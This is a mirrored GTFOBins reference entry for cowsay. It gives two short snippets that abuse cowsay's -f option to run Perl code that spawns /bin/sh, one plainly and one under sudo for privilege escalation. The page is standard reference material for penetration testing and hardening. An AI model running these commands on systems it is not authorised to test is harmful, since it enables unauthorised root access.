1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/cowsay.md

15 lines
323 B
Markdown
Raw Permalink Normal View History

2020-11-12 01:00:12 +01:00
---
description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
functions:
shell:
- code: |
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
cowsay -f $TF x
sudo:
- code: |
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
sudo cowsay -f $TF x
---